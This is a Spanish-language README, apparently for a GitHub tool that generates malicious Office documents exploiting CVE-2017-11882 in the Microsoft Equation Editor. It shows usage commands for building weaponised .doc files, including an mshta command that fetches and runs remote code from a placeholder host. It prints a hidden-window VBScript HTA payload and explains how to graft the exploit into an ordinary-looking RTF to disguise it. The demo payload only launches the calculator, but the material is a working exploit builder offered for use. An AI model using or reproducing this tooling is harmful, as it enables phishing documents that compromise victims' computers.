
Generador de exploits basado en Python para CVE-2017-11882 (vulnerabilidad del Editor de ecuaciones de Microsoft Office) con soporte para shellcode personalizado, payloads de mshta y embebido de documentos RTF.
43b El script original proviene de https://github.com/embedi/CVE-2017-11882
109b El script original proviene de https://github.com/unamer/CVE-2017-11882/ (¡Un aplauso! Ahora el código de unamer ya puede ejecutar shellcode~)
CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/
MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
Research: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
Patch analysis: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html
DEMO PoC exploitation: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
Uso de mshta:
python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc
abc
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
La longitud del comando 43b no puede exceder 43 bytes, la longitud del comando 109b no puede exceder 109 bytes
La carpeta example contiene un archivo .rtf que explota la vulnerabilidad CVE-2017-11882 y ejecuta la calculadora en el sistema.
En realidad, la forma de personalizar el contenido la aprendí de otros maestros. Hace tiempo que lo escribí como script, y originalmente no planeaba hacerlo público, pero al ver que alguien en el grupo ya lo había publicado, no tuve más remedio que hacerlo público. En realidad, el método es muy simple: solo necesitas abrir un documento rtf normal con un editor de texto, copiar todo el contenido antes de {\*\datastore y reemplazar el contenido antes de {\object\objautlink\objupdate, y luego escribirlo en el script es muy sencillo.
Modo de uso para agregar contenido personalizado, selecciona cualquier script:
python Command109b_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc -i input.rtf
El contenido personalizado está en input.rtf.
En cuanto al último script de explotación de 605 bytes de unamer, no lo actualizaré; si estás interesado, modifícalo tú mismo.